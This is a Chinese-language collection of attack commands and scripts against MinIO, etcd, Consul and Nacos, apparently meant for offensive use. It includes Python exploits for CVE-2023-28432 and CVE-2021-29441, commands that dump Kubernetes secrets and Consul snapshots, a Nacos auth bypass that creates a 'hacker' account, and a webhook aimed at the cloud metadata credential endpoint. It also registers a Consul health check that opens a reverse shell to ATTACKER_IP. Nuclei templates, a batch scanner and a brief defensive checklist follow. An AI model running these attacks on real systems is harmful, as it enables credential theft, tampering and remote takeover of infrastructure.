云原生存储与配置中心高危攻击链专题

curl -s http://target:9000/minio/health/cluster?allErasureSets | jq '.[][] | {accessKey: .set.SetID, secretKey: .set.Drives[].Endpoint}'

import requests
import json

def exploit_minio_info_leak(target):
    # 利用 CVE-2023-28432 未授权获取 MinIO 集群凭据
    url = f"http://{target}:9000/minio/health/cluster?allErasureSets"
    try:
        resp = requests.get(url, timeout=10)
        if resp.status_code == 200:
            data = resp.json()
            print("[+] 目标存在 CVE-2023-28432 漏洞")
            for key, val in data.items():
                if isinstance(val, list):
                    for item in val:
                        set_info = item.get("set", {})
                        print(f"    SetID: {set_info.get('SetID', 'N/A')}")
                        for drive in set_info.get("Drives", []):
                            print(f"    Endpoint: {drive.get('Endpoint', 'N/A')}")
            return data
        else:
            print(f"[-] 请求失败，状态码: {resp.status_code}")
            return None
    except Exception as e:
        print(f"[-] 请求异常: {e}")
        return None

if __name__ == "__main__":
    exploit_minio_info_leak("192.168.1.100")

# 查看进程列表中的密钥泄露
ps aux | grep "mc alias set" | grep -v grep

# 查看 shell 历史中的密钥
grep -i "secretKey\|mc alias" ~/.bash_history ~/.zsh_history 2>/dev/null

# 配置恶意 Webhook 通知目标（需要管理凭据）
curl -X PUT "http://target:9000/minio/admin/v3/config" \
  -u "${ACCESS_KEY}:${SECRET_KEY}" \
  -H "Content-Type: application/json" \
  -d '{
    "notify_webhook": {
      "primary": {
        "enable": "on",
        "endpoint": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
      }
    }
  }'

# 列出所有 key
ETCDCTL_API=3 etcdctl --endpoints=http://target:2379 get "" --prefix --keys-only

# 读取 Kubernetes Secrets（包含所有服务凭据）
ETCDCTL_API=3 etcdctl --endpoints=http://target:2379 get /registry/secrets/ --prefix

# 写入恶意数据（可篡改集群配置）
ETCDCTL_API=3 etcdctl --endpoints=http://target:2379 put /registry/configmaps/pwned "hacked"

# 提取 ServiceAccount Token
ETCDCTL_API=3 etcdctl --endpoints=http://target:2379 get /registry/secrets/kube-system/ --prefix | strings | grep -i "token"

import requests
import base64
import json

def exploit_etcd_unauth(target):
    # 利用 etcd v3 HTTP API 未授权读取 K8s Secrets
    url = f"http://{target}:2379/v3/kv/range"
    payload = {
        "key": base64.b64encode(b"/registry/secrets/").decode(),
        "range_end": base64.b64encode(b"/registry/secrets0").decode()
    }
    try:
        resp = requests.post(url, json=payload, timeout=10)
        if resp.status_code == 200:
            data = resp.json()
            kvs = data.get("kvs", [])
            print(f"[+] 目标 etcd 存在未授权访问，共获取 {len(kvs)} 个 Secret")
            for kv in kvs[:5]:
                key = base64.b64decode(kv["key"]).decode(errors="ignore")
                value = base64.b64decode(kv.get("value", "")).decode(errors="ignore")
                print(f"    Key: {key}")
                if "token" in value.lower() or "password" in value.lower():
                    print(f"    Value (truncated): {value[:200]}...")
            return kvs
        else:
            print(f"[-] 请求失败，状态码: {resp.status_code}")
            return None
    except Exception as e:
        print(f"[-] 请求异常: {e}")
        return None

if __name__ == "__main__":
    exploit_etcd_unauth("192.168.1.100")

# 列出所有注册服务
curl -s http://target:8500/v1/catalog/services | jq .

# 读取全部 KV 数据
curl -s http://target:8500/v1/kv/?recurse | jq .

# 下载完整快照
curl -s http://target:8500/v1/snapshot > consul_snapshot.bin

# 查看集群节点信息
curl -s http://target:8500/v1/catalog/nodes | jq .

# 注册恶意健康检查实现反弹 shell
curl -X PUT http://target:8500/v1/agent/check/register \
  -H "Content-Type: application/json" \
  -d '{
    "ID": "malicious-check",
    "Name": "malicious-check",
    "Args": ["/bin/bash", "-c", "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"],
    "Interval": "10s"
  }'

# 绕过认证获取用户列表
curl -s http://target:8848/nacos/v1/auth/users \
  -H "User-Agent: Nacos-Server"

# 绕过认证读取全部配置
curl -s "http://target:8848/nacos/v1/cs/configs?dataId=&group=&tenant=&search=blur" \
  -H "User-Agent: Nacos-Server"

# 绕过认证创建新用户
curl -s -X POST "http://target:8848/nacos/v1/auth/users" \
  -H "User-Agent: Nacos-Server" \
  -d "username=hacker&password=hacker123"

import requests

def exploit_nacos_auth_bypass(target):
    # 利用 CVE-2021-29441 认证绕过枚举 Nacos 用户
    headers = {"User-Agent": "Nacos-Server"}
    url = f"http://{target}:8848/nacos/v1/auth/users"
    try:
        resp = requests.get(url, headers=headers, timeout=10)
        if resp.status_code == 200:
            data = resp.json()
            print("[+] 目标存在 CVE-2021-29441 认证绕过")
            for user in data.get("pageItems", []):
                print(f"    用户: {user.get('username', 'N/A')}")
            return data
        else:
            print(f"[-] 请求失败，状态码: {resp.status_code}")
            return None
    except Exception as e:
        print(f"[-] 请求异常: {e}")
        return None

if __name__ == "__main__":
    exploit_nacos_auth_bypass("192.168.1.100")

# 使用默认凭据登录获取 accessToken
curl -X POST http://target:8848/nacos/v1/auth/users/login \
  -d "username=nacos&password=nacos"

# 使用 accessToken 读取全部配置
curl -s "http://target:8848/nacos/v1/cs/configs?dataId=&group=&tenant=&search=blur&accessToken=eyJhbGciOiJIUzI1NiJ9..."

# 导出所有命名空间配置
curl -s "http://target:8848/nacos/v1/console/namespaces"

id: CVE-2023-28432

info:
  name: MinIO Cluster Info Leak
  author: security-research
  severity: high
  description: MinIO 健康检查端点未授权泄露集群凭据
  tags: minio,infoleak,cve
  reference:
    - https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3hge

http:
  - method: GET
    path:
      - "{{BaseURL}}/minio/health/cluster?allErasureSets"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "SetID"
          - "Drives"
        condition: and

id: etcd-unauth-access

info:
  name: etcd Unauthenticated Access
  author: security-research
  severity: critical
  description: etcd 默认未启用认证，2379 端口暴露可导致数据泄露
  tags: etcd,unauth,kubernetes

http:
  - method: POST
    path:
      - "{{BaseURL}}/v3/kv/range"
    headers:
      Content-Type: application/json
    body: '{"key":"L3JlZ2lzdHJ5L3NlY3JldHMv","range_end":"L3JlZ2lzdHJ5L3NlY3JldHMw"}'
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "kvs"
          - "count"
        condition: and

id: consul-unauth-access

info:
  name: Consul Unauthenticated Access
  author: security-research
  severity: critical
  description: Consul HTTP API 未启用认证，可枚举服务和 KV 数据
  tags: consul,unauth,microservice

http:
  - method: GET
    path:
      - "{{BaseURL}}/v1/catalog/services"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "consul"
        part: body

id: CVE-2021-29441

info:
  name: Nacos Auth Bypass
  author: security-research
  severity: critical
  description: Nacos User-Agent 认证绕过可未授权访问管理接口
  tags: nacos,auth-bypass,cve
  reference:
    - https://github.com/alibaba/nacos/issues/4593

http:
  - method: GET
    path:
      - "{{BaseURL}}/nacos/v1/auth/users"
    headers:
      User-Agent: "Nacos-Server"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "pageItems"
          - "username"
        condition: and

id: nacos-default-credentials

info:
  name: Nacos Default Credentials
  author: security-research
  severity: critical
  description: Nacos 默认管理员账户 nacos/nacos 未修改
  tags: nacos,default-login

http:
  - method: POST
    path:
      - "{{BaseURL}}/nacos/v1/auth/users/login"
    headers:
      Content-Type: application/x-www-form-urlencoded
    body: "username=nacos&password=nacos"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "accessToken"
        part: body

#!/usr/bin/env python3
# 云原生存储与配置中心批量检测工具
# 覆盖 MinIO / etcd / Consul / Nacos 四大组件共 8 个高危漏洞

import requests
import base64
import json
import sys
from concurrent.futures import ThreadPoolExecutor, as_completed

requests.packages.urllib3.disable_warnings()

TIMEOUT = 8

def check_minio_info_leak(ip, port=9000):
    # CVE-2023-28432: MinIO 集群凭据泄露检测
    try:
        url = f"http://{ip}:{port}/minio/health/cluster?allErasureSets"
        resp = requests.get(url, timeout=TIMEOUT, verify=False)
        if resp.status_code == 200 and "SetID" in resp.text:
            return {"vuln": "CVE-2023-28432", "target": f"{ip}:{port}", "severity": "HIGH", "detail": "MinIO 集群凭据泄露"}
    except:
        pass
    return None

def check_etcd_unauth(ip, port=2379):
    # etcd 未授权访问检测
    try:
        url = f"http://{ip}:{port}/v3/kv/range"
        payload = {
            "key": base64.b64encode(b"/registry/").decode(),
            "range_end": base64.b64encode(b"/registry0").decode()
        }
        resp = requests.post(url, json=payload, timeout=TIMEOUT, verify=False)
        if resp.status_code == 200 and "kvs" in resp.text:
            return {"vuln": "etcd-unauth", "target": f"{ip}:{port}", "severity": "CRITICAL", "detail": "etcd 未授权访问"}
    except:
        pass
    return None

def check_consul_unauth(ip, port=8500):
    # Consul 未授权访问检测
    try:
        url = f"http://{ip}:{port}/v1/catalog/services"
        resp = requests.get(url, timeout=TIMEOUT, verify=False)
        if resp.status_code == 200 and "consul" in resp.text:
            return {"vuln": "consul-unauth", "target": f"{ip}:{port}", "severity": "CRITICAL", "detail": "Consul 未授权访问"}
    except:
        pass
    return None

def check_consul_rce(ip, port=8500):
    # Consul exec Check RCE 检测（仅检测注册接口是否可达）
    try:
        url = f"http://{ip}:{port}/v1/agent/check/register"
        resp = requests.get(url.replace("check/register", "checks"), timeout=TIMEOUT, verify=False)
        if resp.status_code == 200:
            return {"vuln": "consul-check-rce", "target": f"{ip}:{port}", "severity": "CRITICAL", "detail": "Consul 健康检查注册接口可达"}
    except:
        pass
    return None

def check_nacos_auth_bypass(ip, port=8848):
    # CVE-2021-29441: Nacos 认证绕过检测
    try:
        url = f"http://{ip}:{port}/nacos/v1/auth/users"
        headers = {"User-Agent": "Nacos-Server"}
        resp = requests.get(url, headers=headers, timeout=TIMEOUT, verify=False)
        if resp.status_code == 200 and "pageItems" in resp.text:
            return {"vuln": "CVE-2021-29441", "target": f"{ip}:{port}", "severity": "CRITICAL", "detail": "Nacos 认证绕过"}
    except:
        pass
    return None

def check_nacos_default_cred(ip, port=8848):
    # Nacos 默认口令检测
    try:
        url = f"http://{ip}:{port}/nacos/v1/auth/users/login"
        data = {"username": "nacos", "password": "nacos"}
        resp = requests.post(url, data=data, timeout=TIMEOUT, verify=False)
        if resp.status_code == 200 and "accessToken" in resp.text:
            return {"vuln": "nacos-default-cred", "target": f"{ip}:{port}", "severity": "CRITICAL", "detail": "Nacos 默认口令 nacos/nacos"}
    except:
        pass
    return None

def scan_target(ip):
    # 对单个目标执行全部检测
    results = []
    checks = [
        check_minio_info_leak,
        check_etcd_unauth,
        check_consul_unauth,
        check_consul_rce,
        check_nacos_auth_bypass,
        check_nacos_default_cred,
    ]
    for check_fn in checks:
        result = check_fn(ip)
        if result:
            results.append(result)
    return results

def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_file>")
        print("  target_file: 每行一个 IP 地址")
        sys.exit(1)

    target_file = sys.argv[1]
    with open(target_file) as f:
        targets = [line.strip() for line in f if line.strip()]

    all_results = []
    with ThreadPoolExecutor(max_workers=20) as pool:
        futures = {pool.submit(scan_target, t): t for t in targets}
        for future in as_completed(futures):
            results = future.result()
            all_results.extend(results)

    print(f"\n扫描完成，共检测 {len(targets)} 个目标，发现 {len(all_results)} 个漏洞：\n")
    for r in all_results:
        print(f"  [{r['severity']}] {r['vuln']} -> {r['target']} | {r['detail']}")

    # 输出 JSON 结果
    with open("scan_results.json", "w") as f:
        json.dump(all_results, f, ensure_ascii=False, indent=2)
    print(f"\n结果已保存至 scan_results.json")

if __name__ == "__main__":
    main()

# 1. 检查端口暴露情况
ss -tlnp | grep -E "9000|2379|8500|8848"

# 2. 检查 etcd 是否启用认证
ETCDCTL_API=3 etcdctl --endpoints=http://localhost:2379 auth status

# 3. 检查 Consul ACL 状态
curl -s http://localhost:8500/v1/acl/info/bootstrap 2>/dev/null

# 4. 检查 Nacos 鉴权配置
grep -r "nacos.core.auth.enabled" /path/to/nacos/conf/

# 5. 检查 MinIO 版本
minio --version 2>/dev/null || mc admin info local 2>/dev/null

# 6. 检查访问日志中是否有异常请求
grep "allErasureSets\|Nacos-Server\|/v3/kv/range\|/v1/snapshot" /var/log/nginx/access.log 2>/dev/null

# 7. 检查 etcd 是否有异常写入
ETCDCTL_API=3 etcdctl --endpoints=http://localhost:2379 get "" --prefix --keys-only | grep -v "^/registry"

# 8. 检查 Consul 是否有恶意健康检查注册
curl -s http://localhost:8500/v1/agent/checks | jq 'to_entries[] | select(.value.Args != null)'